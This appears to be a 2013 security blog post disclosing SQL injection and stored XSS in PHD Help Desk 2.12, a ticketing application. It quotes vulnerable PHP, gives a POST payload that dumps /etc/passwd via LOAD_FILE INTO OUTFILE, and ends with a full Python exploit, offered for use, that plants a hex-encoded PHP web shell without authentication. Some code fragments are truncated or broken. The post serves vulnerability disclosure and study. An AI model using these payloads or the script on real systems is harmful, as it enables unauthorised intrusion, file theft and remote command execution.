PHD Help Desk 2.12 - SQLi/XSS

PHD Help Desk is a help desk application used for managing help tickets in corporate/enterprise environments. The latest version (2.12) is vulnerable to, well, quite a few instances of SQLi and XSS. I’ll try and go through a couple, but there are so many it’s sort of embarrassing, and none of them are at all complex. The software is clocking ~200 downloads/week on Sourceforge, and no telling how many off their website, so it’s definitely still out there somewhere. These issues have been disclosed to the vendor and a generous amount of time to fix them has since passed.

The first place we’ll start is login.php, which tellingly holds all of the login logic. Here’s the relevant bit:

$query="SELECT * FROM {$MyPHD}operador WHERE operador_id='$operador'";
$result=mysql_query($query) or die(mysql_error());


### Ahora verifico la contraseƱa

$query="SELECT * FROM {$MyPHD}operador WHERE operador_id='$operador' AND contrasenia='$md5_contrasenia'";
$result=mysql_query($query) or die (mysql_error());;

if ($q_filas!=1)

if ($data['nivel']<1)

This doesn’t even really try to sanitize anything. strip_tags is used to remove HTML and PHP tags from a string, and trim strips whitespace; what? It pulls out the username, checks it in the database, then pulls the password, md5’s it, and checks that in the database. Plenty of opportunity for SQLi, but no way to get around the login screen with a simple ' OR '1=1, due to the final query using the md5 of the password. We could use a malicious username and comment that out, but then the first query would fail. So instead, we’ll just use the username to run malicious queries.

Submitting the following POST data to login.php will dump /etc/passwd

operador=' UNION SELECT LOAD_FILE('/etc/passwd'),2,3,4,5,6,7,8,9,10,11,12,13,14 INTO OUTFILE '/var/www/phd_2_12/psswd&contrasenia=asdf&submit=Enter&captcha=

With this, we can naturally obtain a web shell, as demonstrated by the exploit code I’ve developed:

root@jali:~# python -h
usage: [-h] [-i IP] [-p ROOTP] [-w PATH]

optional arguments:
  -h, --help  show this help message and exit
  -i IP       server address
  -p ROOTP    path to login.php (/phd_2_12)
  -w PATH     writable web path (/var/www/phd_2_12) for shell
root@jali:~# python -i
[!] Dropping web shell on
[!] Shell dropped.

As a note, strip_slashes prevents us from submitting anything that includes HTML or PHP tags in it. So I’ve gotten around that by simply hex encoding the string:

# <? php system($_GET["rr"]); ?>
data = urllib.urlencode({'operador':('\' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b227272225d293b3f3e'
                                     ',2,3,4,5,6,7,8,9,10,11,12,13,14 INTO OUTFILE'
                                     ' \'{0}/{1}.php'.format(options.path,shell)),

There’s another SQLi vulnerability in abro_adjunto.php, which requires authentication to the application:

if (isSet($_GET['file']))

    {$query="SELECT *
             FROM {$MyPHD}sigo_ticket
             WHERE seq_sigo_ticket_id={$_GET['file']} ";
     $result=mysql_query($query) or die (mysql_error());
     $row = mysql_fetch_array($result);

     $tipo_adjunto = $row['tipo_adjunto'];
     $adjunto = $row['adjunto'];
     $nombre_adjunto = $row['nombre_adjunto'];

        {header("Content-type: $tipo_adjunto");
         header("Content-Disposition: attachment; filename=\"$nombre_adjunto\"");
         echo $adjunto;
         echo "<div class='error'>INVALID CALL </div>";

And the sanitization for this (and most files, really) is as follows:

if (get_magic_quotes_gpc())
    { foreach($_GET as $clave => $valor)

foreach($_GET as $clave => $valor)

htmlentities, when specified with the ENT_QUOTES flag, will convert both single and double quotes into HTML entities, and will thus not be injectable. However, the above query doesn’t even use quotes, thus there is nothing to escape.

There’s stored XSS within all Attributes (Contact, Process, State, Type) that’s loaded when viewing users:

Here’s the code for dropping a web shell; enjoy:

# Exploit Title: PHD Help Desk 2.12 SQLi
# Date: 05/24/2013
# Exploit Author: drone (@dronesec)
# Vendor Homepage:
# Software Link:
# Version: 2.12
# Tested on: Ubuntu 12.04 (apparmor disabled)

""" This app is so full of SQLi & XSS; if you're looking for
    practice with real web apps, this is a good place to go.

    You don't need auth for this.
from argparse import ArgumentParser
import string
import random
import urllib, urllib2
import sys

def run(options):
    print '[!] Dropping web shell on %s...'%(options.ip)

    shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))

    # <? php system($_GET["rr"]); ?>
    data = urllib.urlencode({'operador':('\' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b227272225d293b3f3e'
                                    ',null,null,null,null,null,null,null,null,null,null,null,null,null INTO OUTFILE'
                                        ' \'{0}/{1}.php'.format(options.path,shell)),

    urllib2.urlopen('http://{0}{1}/login.php'.format(options.ip, options.rootp), data)
    print '[!] Shell dropped.  http://%s%s/%s.php?rr=ls'%(options.ip,options.rootp,shell)

def parse():
    parser = ArgumentParser()
    parser.add_argument('-i',help='server address',action='store',dest='ip')
    parser.add_argument('-p',help='path to login.php (/phd_2_12)',action='store',
                default='/phd_2_12', dest='rootp')
    parser.add_argument('-w',help='writable web path (/var/www/phd_2_12) for shell',
                default='/var/www/phd_2_12/', action='store', dest='path')

    options = parser.parse_args()
    if not options.ip:

    options.path = options.path if options.path[-1] != '/' else options.path[:-1]
    options.rootp = options.rootp if options.path[-1] != '/' else options.path[:-1]
    return options

if __name__=="__main__":